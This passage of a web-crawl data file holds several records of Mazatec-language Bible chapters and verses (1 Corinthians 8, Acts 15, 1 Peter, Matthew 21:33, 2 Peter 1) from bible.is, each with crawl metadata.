mokjeiín‑la̱. Ta̱nga i̱'ndei̱, k'e̱ nga kine yijo‑la̱ cho̱ xi ya̱ biyaàt'aà‑la̱ jñà xkósòn, k'oa̱á s'ín síkítsjeèn nga jñà nchibeèxkón xkósòn xi nainá tsò‑la̱ xi̱ta̱ i̱sò'nde. Nga jò tjín kjo̱hítsjeèn‑la̱, k'oa̱á s'ín fìya‑la̱ nga jé ótsji nguixko̱n Nainá. 8Jñò bixón‑nó nga jñà tsojmì xi ma chine, mìtsà koi kjoa̱‑la̱ nga ìsa̱ ndaà skoétjò‑ná Nainá. Tsà ki̱chiaá mìtsà ìsa̱ ndaà ki̱tsa̱jnaá ko̱ tsà mìkiì ki̱chiaá mìtsà ìsa̱ ch'o ki̱tsa̱jnaá nga nguixko̱n Nainá. 9Kixi̱í kjoa̱, tjí'nde‑ná ni̱ta̱ mé xi chji̱ne̱é. Ta̱nga jñá jchósòn‑lá yijo‑ná nga mì k'oa̱á tjín xi chji̱ne̱é mé‑ne jñà xi̱ta̱ 'ndseé xi indaàjiìn tjín kjo̱hítsjeèn‑la̱ mì jé sa̱kò‑la̱. 10Tsà tjín jngoò xi̱ta̱ xinguio̱o xi tsò nga tjín‑la̱ kjo̱hítsjeèn nga ma chine ni̱ta̱ mé yijo‑ne, ko̱ ya̱á fì kakjèn ya̱ i̱'nde ñánda yaxkón xkósòn; tsà koi na̱chrjein‑la ya̱ skoe̱ jngoò 'ndsé xi indaàjiìn tjín kjo̱hítsjeèn‑la̱ nga ya̱ tíkjèn. Jè xi̱ta̱ 'ndsé, k'oa̱á ti̱s'ín s'i̱in. 11Kjo̱hítsjeèn‑la̱ xi̱ta̱ jè nga tsò nga maá chine yije ni̱ta̱ mé‑ne, koií kjoa̱‑la̱ nga kjo̱'in si̱ìkjeiín jè 'ndsè xi indaàjiìn tjín kjo̱hítsjeèn‑la̱ xi Cristo k'en nga̱jo̱‑la̱. 12K'e̱ nga jé binchaàtsjioò xi kondra̱ ts'e̱ xi̱ta̱ 'ndseé nga nìkits'ón‑jñoò kjo̱hítsjeèn‑la̱ xi indaàjiìn tjín, jé binchaàtsjioò xi kondra̱ ts'e̱ Cristo. 13'A̱n, tsà ta koií kjoa̱‑la̱ ts'e̱ tsojmì xi kíne̱e nga jé sa̱kò‑la̱ jè 'ndsè, ti̱koa̱á‑ne, jngoò k'a mì ti̱ kiì skíne̱‑na yijo, mé‑ne nga mì jé sakó‑la̱ 'ndsè.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8","date":"2017-09-21T05:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687642.30\/warc\/CC-MAIN-20170921044627-20170921064627-00152.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":425,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà na̱chrjein koi, j'iì i'nga xi̱ta̱ xi inchrobà‑ne Judea nga tsibéno̱jmí‑la̱ xi̱ta̱‑la̱ Cristo, kitsò‑la̱: \"Mìkiì ki̱tjokàjñoò kjo̱'in tsà mìkiì si̱t'aà chi̱ba̱‑la̱ yijo‑nò kjoa̱ ts'e̱ circuncisión koni s'ín tíchja̱ kjo̱tíxoma xi kiskiì Moisés.\" 2Pablo ko̱ Bernabé 'ñó tsajoókjoò ko̱ jñà xi̱ta̱ koi; tsohótiyaá‑ne jñà kjoa̱ koi; i̱kjoàn kisìkasén Pablo ko̱ Bernabé ján Jerusalén; tsobáhijtako̱ i'nga xi̱ta̱‑la̱ Cristo xi títsa̱jna ya̱ Antioquía nga kiìkon jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga xi otíxoma ya̱ na̱xa̱ndá‑la̱ Cristo nga si̱ndaàjiìn kjoa̱ koi. 3Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Antioquía, kisìchját'aà‑la̱ nga kiì‑ne xi̱ta̱ koi. Jahato Fenicia ko̱ Samaria; tsibéno̱jmí nga jñà xi mìtsà xi̱ta̱ judío ti̱koa̱ jyeé tífatjìya‑la̱ nga Cristo nchifìt'aà‑la̱. Ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, 'ñó kjòtsja‑la̱. 4Pablo ko̱ Bernabé, k'e̱ nga ijchò ján Jerusalén, jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo ko̱ xi̱ta̱ jchínga xi ya̱ otíxoma ko̱ xi̱ta̱ xi tsibíxáya‑la̱ Jesús, ndaá kiskoétjò. Xi̱ta̱ koi tsibéno̱jmí yije mé kjoa̱ xi kis'iìn Nainá nga kisìchját'aà‑la̱. 5Ya̱ títsa̱jnajiìn i'nga xi̱ta̱ fariseo xi jye kòkjeiín‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo; chincha kixi̱, kitsò: ―Jñà xi mìtsà xi̱ta̱ judío xi jye mokjeiín‑la̱, mochjeén‑né nga si̱t'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión; ti̱koa̱ si̱nè‑la̱ nga kàtasíkitasòn kjo̱tíxoma xi kiskiì Moisés. 6Kjòxkóya xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga xi otíxoma ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo nga tsajoóya‑ne kjoa̱ koi. 7Tse jchán tsajoóya‑ne kjoa̱ koi; chaán tsasíjna kixi̱ Pedro, kiìchja̱, kitsò: ―'Ndseé, jñò, jyeé tíjiìn‑nò nga kjòtseé jaàjiìn‑na Nainá nga 'a̱n kèno̱jmí‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo jñà xi mìtsà xi̱ta̱ judío mé‑ne nga ti̱koa̱ ko̱kjeiín‑la̱. 8Nainá xi beè ini̱ma̱‑ná, k'oa̱á s'ín tsakó kixi̱‑ná nga ti̱koa̱ kiskoétjò xi̱ta̱ koi nga k'oa̱á ti̱s'ín kitsjaà‑la̱ Ini̱ma̱ Tsjeè‑la̱ koni s'ín kitsjaà‑ná jñá. 9Nainá, kisìtsjeè ini̱ma̱‑la̱ xi̱ta̱ koi k'e̱ nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo, nga mìkiì faájiìn xi̱ta̱, tà ngásòn fìko̱‑ná ngats'iaá, xi xi̱ta̱ judío 'mì‑ná ko̱ xi ta̱xki̱ xi̱ta̱. 10I̱'ndei̱, ¿mé‑ne kondra̱ onguí‑là kjo̱hítsjeèn‑la̱ Nainá, tsà koi na̱chrjein‑la̱ ko̱jti‑la̱? Nga bìnè‑lá xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo nga si̱ìkitasòn kjoa̱ ts'e̱ kjo̱tíxoma. Ni̱ jñá ko̱ ni̱ jñà xi̱ta̱ jchínga‑ná chíkjoa̱‑ná nga nìkitasoán. 11Mìkiì ko̱s'ín ko̱ma. Nga̱ k'oa̱á s'ín mokjeiín‑ná nga jñá, ko̱ xi ta̱xki̱ xi̱ta̱, ta ngásòn kjo̱ndaà‑la̱ Na̱'èn‑ná Jesucristo kítjokàjñaá kjo̱'in. 12Jyò tsibìtsa̱jna ngats'iì xi̱ta̱ xi ya̱ títsa̱jna. Kiì'nchré‑la̱ Bernabé ko̱ Pablo nga tsibéno̱jmí‑la̱ xi̱ta̱ nga 'ñó tse kjo̱xkón ndaà xi kis'iìn Nainá xi i̱t'aà ts'e̱ nga nguixko̱n jñà xi mìtsà xi̱ta̱ judío. 13K'e̱ nga jye kiìchja̱ Bernabé ko̱ Pablo, k'e̱é kiìchja̱ Jacobo, kitsò: ―'Ndseé xi i̱ titsa̱jnaà, ti̱ná'ya‑ná. 14Jè Simón Pedro, jyeé tsibéno̱jmí‑ná kó s'ín komà nga ti̱sa̱ ítjòn nga Nainá jaàjiìn jñà xi mìtsà xi̱ta̱ judío nga na̱xa̱ndá‑la̱ ko̱ma. 15K'oa̱á s'ín mangásòn 'én koni s'ín kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kitsò: 16K'e̱ nga ko̱ma i̱skan, ki̱tjojen ìjngoò k'a nga kìndàyà xi̱tse̱‑na kjo̱tíxoma‑la̱ xi̱ta̱xá ítjòn David xi jye its'oòn; jè xi jye chixoña, ìjngoò k'a síkixi̱ya‑na; siìkíjna jngoò‑na xi̱ta̱ xi ko̱tìxoma ngajo‑la̱ David, 17mé‑ne jñà xi̱ta̱ xi i'nga ko̱hótsji‑ne Nainá, ngats'iì xi mìtsà xi̱ta̱ judío, jñà xi 'ín ts'a̱n tjít'aà. 18K'oa̱á tsò Nainá, nga tsibéno̱jmí kjo̱hítsjeèn xi tjín‑la̱ skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. 19''A̱n, k'oa̱á xán‑nò nga mìkiì si̱nè‑la̱ kjoa̱ xi 'in tjín jñà xi mìtsà xi̱ta̱ judío, jñà xi nchifatjìya‑la̱ nga Nainá nchifìt'aà‑la̱. 20Ta jè xi mochjeén nga si̱kasén‑lá xo̱jo̱n mé‑ne nga mìkiì ski̱ne̱ ngats'iì tsojmì xi ya̱ sinchá nguixko̱n kjoa̱xkósòn; ti̱koa̱ kì ti̱ kjoa̱ chijngui s'ín‑ne, mì ti̱ kiì ski̱ne̱‑ne jní ko̱ ngats'iì yijo‑la̱ cho̱ xi mìkiì xíxteèn jní‑la̱. 21Skanda kjòtseé, xki̱ xi ján na̱xa̱ndá tjín xi̱ta̱ xi bíxke̱jiìn xo̱jo̱n kjo̱tíxoma xi kiskiì Moisés ya̱ ni'ya i̱ngo̱ sinagoga nga jiìn jiìn na̱chrjein nga na̱chrjein nìkjáya. 22Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo ko̱ xi̱ta̱ jchínga xi ya̱ otíxoma, tsajoóya‑ne nga jaàjiìn i'nga xi̱ta̱ xíkjín xi kisìkasén ján Antioquía. Jñà kitjaàjiìn Judas xi ti̱koa̱ Barsabás 'mì ko̱ Silas, jñà xi̱ta̱ xi ndaà yaxkón ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo. Tsobáhijtako̱ Pablo ko̱ Bernabé. 23Kisìk'a jngoò xo̱jo̱n xi tsò: \"Ngaje̱n, xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga, nìhixat'aà‑nòje̱n jñò xi mìtsà xi̱ta̱ judío 'mì‑nò xi 'ndsé chibá i̱t'aà ts'e̱ Cristo xi titsa̱jnaà ya̱ na̱xa̱ndá Antioquía, ko̱ i̱'nde Siria ko̱ Cilicia. 24Jyeé kina'yà‑je̱n nga i̱ itjokàjiìn i'nga xi̱ta̱ xi ijchòkon‑nò nga siì síko̱‑nò nga chja̱ko̱‑nò 'én xi síkits'ón‑jiìn‑la̱ ini̱ma̱‑nò, ta̱nga mìtsà ngaje̱n tsatíxá‑la̱je̱n. 25Ngats'iì‑je̱n, k'oa̱á s'ín kichoòsòn‑la̱je̱n nga kinìkasén i'nga‑nòje̱n xi̱ta̱ tsa̱je̱n xi kiìkon‑nò. Tsobáhijtako̱ xinguia̱á Pablo ko̱ Bernabé, xi̱ta̱ xi 'ñó matsjacha‑je̱n. 26Jñà xi̱ta̱ koi, jye k'oa̱s'ín tsibínè‑la̱ yijo‑la̱ ni̱ta̱ mé kjo̱'in xi komàt'in xi kjoa̱ ts'e̱ Na̱'èn‑ná Jesucristo. 27Titsa̱nìkasén‑nòje̱n Judas ko̱ Silas; ngats'iì 'én xi tjít'aà xo̱jo̱n, jñà xi̱ta̱ koi ke̱èno̱jmíya ìjngoò k'a‑nò xi tà 'én ko̱òko̱‑nò. 28Ngaje̱n ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà kisaseèn‑naje̱n nga mì kjo̱'ñó ko̱ma‑nò kjoa̱ ts'e̱ kjo̱tíxoma xi 'in tjín; tà koi‑né xi ndaà mochjeén: 29nga mìkiì ma chji̱ne̱e yijo‑la̱ cho̱ xi ya̱ biyaà nguixko̱n xkósòn; mìkiì ma chji̱ne̱e jní ko̱ mìkiì ma chji̱ne̱e yijo‑la̱ cho̱ xi mìkiì xíxteèn jní‑la̱; ti̱koa̱á kì ti̱ kjoa̱ chijngui nìs'in‑là; tsà chja̱àxìn‑là yijo‑nò ngats'iì kjoa̱ koi, ndaà s'e̱; k'e̱ chibá.\" 30Xi̱ta̱ koi, k'e̱ nga jye kisìhixat'aà xíkjín, ni̱to̱ón kiì skanda ján Antioquía; k'e̱ nga ijchò tsibíxkóya ngats'iì xi̱ta̱‑la̱ Cristo, kisìnga̱tsja xo̱jo̱n xi 'ya. 31Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, k'e̱ nga jye tsibíxke̱jiìn xo̱jo̱n, tsjaá komà‑la̱ nga ijchò‑la̱ 'én xi kisìjehikon. 32Jè Judas ko̱ Silas ti̱koa̱á Nainá chja̱ ngajo‑la̱; ndaà kisìjehikon jñà xi̱ta̱‑la̱ Cristo; kitsjaà‑la̱ nga'ñó. 33Xi̱ta̱ koi, kjìn na̱chrjein tsibìtsa̱jna Antioquía. Nga komà i̱skan kisìhixat'aà xíkjín, kiì‑ne Jerusalén; kiìkon‑ne jñà xi̱ta̱ xi kisìkasén. 34[Ta̱nga jè Silas ndaà kisaseèn‑la̱ nga tsibìjna Antioquía.] 35Jè Pablo ko̱ Bernabé, ya̱á tsibìtsa̱jna Antioquía; tsakóya‑ìsa 'én‑la̱ Nainá ti̱koa̱ kiìchja̱ya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ti̱koa̱á kjìn xi̱ta̱ xi kj'ei̱í kisìxákjoò. 36K'e̱ nga komà i̱skan, Pablo kitsò‑la̱ Bernabé: ―Tíkjiaán ìjngoò k'aá kóho̱kji na̱xa̱ndá ñánda tsibèno̱jmiá 'én‑la̱ Nainá mé‑ne nga jcha̱á kó s'ín títsa̱jna xi̱ta̱ xinguia̱á. 37Jè Bernabé mejèn‑la̱ kji̱ko̱ Juan, xi ti̱koa̱ Marcos 'mì; 38ta̱nga jè Pablo mìkiì kisaseèn‑la̱ nga jè kji̱ko̱, koií kjoa̱‑la̱ nga kitsjeiìn takòn ján Panfilia nga mì ti̱ kiì tsobáhijtako̱‑ne nga kisìxá jè xá xi tjíma‑ne. 39K'oa̱á s'ín komà‑ne nga kisakò kjoa̱ nga mìkiì kjòngásòn 'én‑la̱; chinchat'aà xìn‑la̱ xíkjín; jè Bernabé kiìko̱ Marcos; kiìsòn‑ndá skanda Chipre. 40Jè Pablo, jaàjiìn Silas nga tsobáhijtako̱. Jñà xi̱ta̱‑la̱ Cristo kisìkítsa̱jnaya tsja Nainá nga kiì. 41Kiì kóho̱kji nangui Siria ko̱ Cilicia nga ya̱ chinchima nga ìsa̱ ndaà kisì'ñó ikon jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/15","date":"2017-09-20T07:59:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818686705.10\/warc\/CC-MAIN-20170920071017-20170920091017-00024.warc.gz","language":"maa","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000061988830566}","num_words":1023,"character_repetition_ratio":0.08,"word_repetition_ratio":0.002,"special_characters_ratio":0.212,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mejèn‑na nga ti̱'koa̱á tsja‑la̱ 'én jñà xi̱ta̱ jchínga ra xá tjín‑la̱ ya̱ a̱jin‑la̱ na̱xi̱ndá‑la̱ Nainá ra nakjoá‑najiòn; koni 'a̱n ra xi̱ta̱ jchínga tíjna̱‑te; ko̱ 'a̱n ra xkoàa̱n kíjtse‑na jñà kjo̱hi'in ra kisìkjiín jè Cristo, ra ti̱'koa̱á ko̱ko̱‑te‑na kjoa̱jeya ra tjínè‑la̱ nga 'sa̱ jcha̱‑la̱. 2Ti̱kinda̱a jñà xi̱ta̱‑la̱ Nainá ra jiòn tsako̱‑no nga si̱kinda̱a; ngi inìma̱‑no katanchrabájin‑ni nga ko̱'sín 'tia̱àn; ko̱'sín 'tia̱àn koni 'sín jè Nainá mejèn‑la̱; kì tà chjàn ta kjo̱'ñó 'nià‑la ijo‑no ko̱ kì tà to̱n ma mejèn‑no nga ko̱'sín 'nià; ngi ko̱ó kjo̱tsja‑no nga ko̱'sín 'tia̱àn. 3Kì tà chjàn ko̱'sín 'nià koni tsa jiòn ma ni‑la̱ jñà xi̱ta̱ ra jiòn bako̱‑no nga nikonda̱a; ta isa̱á jnchro jiòn nda ti̱ncha ítjòn‑la xi̱ta̱ nga tijna jngo‑la̱ xkósòn ra nda tjín, 4mé‑ni 'kia̱ nga ki̱tjojen india‑ni jè Chji̱ngo̱ Ítjòn (ra jè Cristo), tsjá‑najiòn kjoa̱jeya‑la̱ koni jngo corona ra ni̱kjiá kje̱hejno fate‑la̱. 5Jiòn i̱xti ra 'sa̱ i̱nchiníjchá ijo‑no, 'koa̱á ti̱'sín nda ti̱hitjasòn kó'sín nga ko̱tèxoma‑no jñà xi̱ta̱ jchínga ra títsa̱jna ítjòn ya̱ na̱xi̱ndá‑la̱ Nainá. Ko̱ nga'tsì‑no, indakjoa̱ tjahíko̱o kañá xàngio̱o, nga̱: Jè Nainá kondra̱á tíjna‑la̱ jñà xi̱ta̱ ra 'nga ikon, tanga tseé kjo̱nda tsjá‑la̱ jñà xi̱ta̱ ra indakjoa̱. 6Nangi ti̱kítsa̱jna ijo‑no ya̱ ngixko̱n Nainá, jè ra 'ñó tse nga'ñó tjín‑la̱ nga ma‑la̱ ko̱si̱ko̱tjì‑no, mé‑ni jè 'nga si̱ìkítsa̱jna‑no 'kia̱ nga ki̱jchò chi̱ba̱‑la̱. 7Ya̱á ti̱nga̱tsja ijye jè Nainá nga'tsì kjoa̱ ra jiòn níkájno. Nga̱ jè Nainá ni̱chjin nchijón‑ní nga síkinda̱‑no. 8Nda kjón‑ní ti̱kinda̱a ijo‑no ko̱ nda kjón chítsijen ki'ta, nga̱ jè xi̱ta̱‑ni̱í ra 'ñó kondra̱ tíjna‑no, 'koa̱á 'sín jngo tjandi tsá'ba koni tsa jngo xa ra 'ñó ajò‑la̱, 'ñó tíbátsji yá ra mejèn‑la̱ nga ski̱ne̱. 9'Ñó ti̱ncha‑la jiòn ko̱ kixi̱ ti̱ncha jiòn koni 'sín nga makjiín‑no. Nga̱ ijyeé 'ya jiòn nga 'koa̱á ti̱'sín tjín kjo̱hi'in ra i̱nchibatojin nga'tsì xàngio̱o kó nga tíjngo i̱sà'nde. 10Tanga jè Nainá ra tjín ijye‑la̱ ra ta mé kjo̱nda‑ni, jè ra xá ko̱'sín kiìchja̱‑ná nga ya̱ ki̱tsa̱jnajin‑teé ya̱ ñánda̱ tíjna kjoa̱jeya‑la̱ ra mì kì kje̱he'tà, ta nga̱tjì‑la̱ nga ya̱ titsa̱jnake̱é Jesucristo. 'Kia̱ nga ijye ko̱tojiòn ni̱chjin ra si̱kjioón kjo̱hi'in, jè Nainá, si̱ìkítsa̱jnanda india‑no, ndaá ki̱ncha‑no, tsjá nga'ñó‑no, kixi̱ kjón‑ní si̱ìkítsa̱jna‑no. 11Jè Nainá, ta jé ra isa̱ tse nga'ñó tjín‑la̱ skanda ta mé ni̱chjin‑ni. Ko̱'sín katama. 12Jè Silvano, ra ko̱'sín tíjna‑na koni jngo 'ndsé ra ma fa'tatakén, jé ki'sìn‑na kjo̱nda nga tsikínda‑asa‑na jè xa̱jo̱n ra tísikásén‑najiòn, ñánda̱ nga ko̱xian‑najiòn ko̱ sijétakòn‑no koni 'sín tjín ra ngi kjo̱nda‑la̱ Nainá. Kixi̱ tjahíko̱o a̱'ta 'tse̱ kjo̱nda ra kìi̱. 13I̱nchisíhixo'tá‑no jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna i̱ Babilonia ra ta̱ña jahíjin‑no Nainá. Ko̱ ti̱'koa̱á tísíhixo'tá‑no jè Marcos jè ra koni tsa i'ndí‑na̱ xin‑la̱. 14'Kia̱ nga si̱kjáya‑la xàngio̱o, ngi ko̱ó inìma̱‑no nga ti̱kjáya‑la. Nga'tsì ra ya̱ nakjoá‑no a̱'ta 'tse̱ Cristo, kata'se kjoa̱'nchán ya̱ a̱jin inìma̱‑no. Ko̱'sín katama.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/5","date":"2017-09-24T09:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689900.91\/warc\/CC-MAIN-20170924081752-20170924101752-00117.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":442,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"33'Ti̱ná'ya jngo‑isa kjoa̱ ra ma mangásòn. Jngo xi̱ta̱ ra tsikítje̱jin to uva ya̱ nangi‑la̱, ko̱ a̱kjòn tsikíchjàndi‑la̱, ko̱ tsikínda jngo i̱'nde ñánda̱ nga ki̱tjo jè nandá to‑la̱ uva. Ti̱'koa̱á tsikínda jngo ni'ya ra tsikísòn'nga mé‑ni nga ma ko̱kinda̱‑ni nga'tsiòo̱. A̱kjòn isikiña‑la̱ jè nangi‑la̱ jñà xi̱ta̱ mé‑ni nga si̱íxáko̱‑ni. A̱kjòn kjiín kijì ni‑la̱ nangi.\nSan Mateo 21:33\nFREE!\nOne App.\n1257 Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/33","date":"2017-09-25T01:23:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690268.19\/warc\/CC-MAIN-20170925002843-20170925022843-00710.warc.gz","language":"maa","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999938011169434}","num_words":59,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Jñà xi̱ta̱ kìi̱, kisìchi̱ya tsijen‑la̱ Nainá nga mì tsa kjo̱nda 'tse̱‑jìn nga ko̱'sín tsi'kéna̱jmí; kjo̱nda tsa̱jión‑nájiòn. Ko̱ jñà 'én ra tsi'kéna̱jmí, ti̱jñá‑ni 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra tí'sena̱jmí‑no skanda jè ni̱chjin 'ndi̱. Nga̱ ti̱jé‑ni Inìma̱ Tsje‑la̱ Nainá ra ngajmi nchrabá‑ni tsjá‑la̱ nga'ñó xi̱ta̱ ra 'béna̱jmí. Jñà kjoa̱ kìi̱ skanda jñà ìkja̱li̱, mejèn‑la̱ nga ske̱‑te.\n1 Pedro 1:12\nFREE!\nOne App.\n1257 Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/12","date":"2017-09-21T22:02:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687906.71\/warc\/CC-MAIN-20170921205832-20170921225832-00079.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":63,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, xi Simón Pedro 'mì‑na̱, nga 'a̱n xi chi̱'nda‑la̱ Jesucristo ma, ko̱ nga ti̱koa̱ 'a̱n tsibíxáya‑na̱, tìsìkasén‑nò xo̱jo̱n jè, jñò xi ngásòn 'ñó ndaà mokjeiín‑nò koni s'ín mokjeiín‑naje̱n; nga xi̱ta̱ kixi̱‑né jè Jesucristo xi Nainá ma ko̱ xi ochrjekàjiìn‑ná kjo̱'in. 2Koni s'ín nga ìsa̱ ndaà titsa̱yaxkon Nainá ko̱ jè Jesucristo xi otíxoma‑ná, k'oa̱á s'ín ìsa̱ ndaà kàtasakó‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 3Jè nga'ñó‑la̱ Nainá tsjá yije‑ná xi mochjeén‑ná nga titsa̱jnakoaán ko̱ nga ndaà yaxkoán Nainá. Koií kjoa̱‑la̱ nga tsjá‑ná ngats'iì kjo̱ndaà koi nga yaxkoaán jè xi ko̱ kjoa̱jeya‑la̱ ko̱ nga'ñó tsjeè‑la̱ kiìchja̱‑ná. 4I̱t'aà ts'e̱ kjoa̱ koi, kitsjaà‑ná kjoa̱ xi 'ñó ndaà tjín ko̱ xi 'ñó tse chjí‑la̱ koni s'ín kitsjaà tso'ba Nainá, mé‑ne nga ti̱koa̱ ko̱ko̱t'aà‑ná nga k'oa̱s'ín s'e̱én koni s'ín s'ín Nainá nga jye chinchat'aàxìn‑là kjoa̱ xi ch'o síjé yijo‑ná i̱ i̱sò'nde xi ta síkits'ón‑ná. 5K'oa̱á ma‑ne, 'ñó tìnè‑là yijo‑nò jñà kjoa̱ koi. Koni s'ín nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo, k'oa̱á ti̱s'ín mochjeén‑né nga ndaà xi̱ta̱ kàtama jñò. Nga jye ndaà xi̱ta̱ ma, ti̱koa̱ mochjeén‑né nga kàtas'e‑nò xi kjoa̱ chji̱ne̱. 6Nga jye tjín‑nò kjoa̱ chji̱ne̱, ti̱koa̱á mochjeén‑né nga kixi̱ tatìxoma‑là yijo‑nò. Ko̱ nga jye kixi̱ otíxoma‑là yijo‑nò ti̱koa̱ mochjeén‑né nga s'e̱‑nò kjoa̱tsejta. Ko̱ nga jye tjín‑nò kjoa̱tsejta, ti̱koa̱á mochjeén‑né nga nguì ndaà cha̱xkón Nainá. 7Nga jye ndaà yaxkón Nainá, ti̱koa̱ mochjeén‑né nga ndaà ti̱tsjacha xinguio̱o. Ko̱ nga jye ndaà matsjacha xinguio̱o, ti̱koa̱á mochjeén‑né nga nguì ndaà ti̱tsjacha ngats'iì xi̱ta̱ xi kj'ei̱í. 8Jñò, tsà tjín‑nò kjo̱ndaà koi, ko̱ tsà kjit'aà na̱chrjein tík'aasòn‑nò, mì jyò ki̱tsa̱jnaà; nguì ndaà ko̱chjeén‑nò nga ìsa̱á ndaà jcha̱xkoòn Jesucristo xi otíxoma‑ná. 9Ta̱nga tsà tjín i'nga xi tsjìn‑la̱ kjo̱ndaà koi, k'oa̱á ngaya‑la̱ koni xi̱ta̱ xka̱n xi mìkiì ndaà tsejèn‑la̱; jyeé kijchàajiìn‑la̱ nga Nainá jye kisìjchàat'aà‑la̱ jé xi kis'e‑la̱ nga sa̱ ítjòn. 10K'oa̱á ma‑ne, jñò, ndí 'ndsè, ìsa̱ 'ñó tjiì‑là nga'ñó yijo‑nò nga ti̱kixi̱yaà kjoa̱ nga Nainá xó k'oa̱á s'ín kiìchja̱‑nò ko̱ jaàjiìn‑nò. Tsà k'oa̱s'ín s'e̱en kjit'aà, ni̱mé jé ska̱jñoò. 11Nga k'oa̱á s'ín ko̱ma nga táx'a̱'nde‑nò nga ki̱tjás'e̱en ñánda tíhotíxoma ni̱ta̱ kjé‑ne jè Jesucristo xi ochrjekàjiìn‑ná kjo̱'in ko̱ xi otíxoma‑ná. 12Koií kjoa̱‑la̱ kjit'aà na̱chrjein sìkítsjeèn yije‑nò kjoa̱ koi, na̱s'ín jye ma‑nò ko̱ jye kixi̱ titsa̱jnako̱o jè kjoa̱kixi̱‑la̱ Nainá koni s'ín mokjeiín‑nò na̱chrjein i̱'ndei̱. 13K'e̱ nga tákó tìjna̱kon‑ìsa i̱ i̱sò'nde jè, mochjeén‑né nga síkítsjeèn‑nò nga ko̱s'ín ti̱jchá yijo‑nò. 14Jè Jesucristo xi otíxoma‑ná jyeé k'oa̱s'ín kitsò‑na nga jyeé kjòchrañàt'aà nga kjoe̱het'aà na̱chrjein‑na̱. 15Ti̱koa̱á 'a̱n tìbìnè‑la̱ yijo‑na̱ nga tísíkítsjeèn‑nò mé‑ne k'e̱ nga 'a̱n xi jye ki̱yá, nga na̱chrjein nchijòn k'oa̱á s'ín ti̱kítsjeèn kjoa̱ koi. 16Nga mìtsà ta cuento xi ta xi̱ta̱ kisìkítsjeèn koni s'ín tsibeno̱jmí‑nòje̱n kó kji nga'ñó kis'e‑la̱ Na̱'èn‑ná Jesucristo ko̱ nga kjoi̱í ìjngoò k'a. Nga xko̱ón ki'ya‑naje̱n 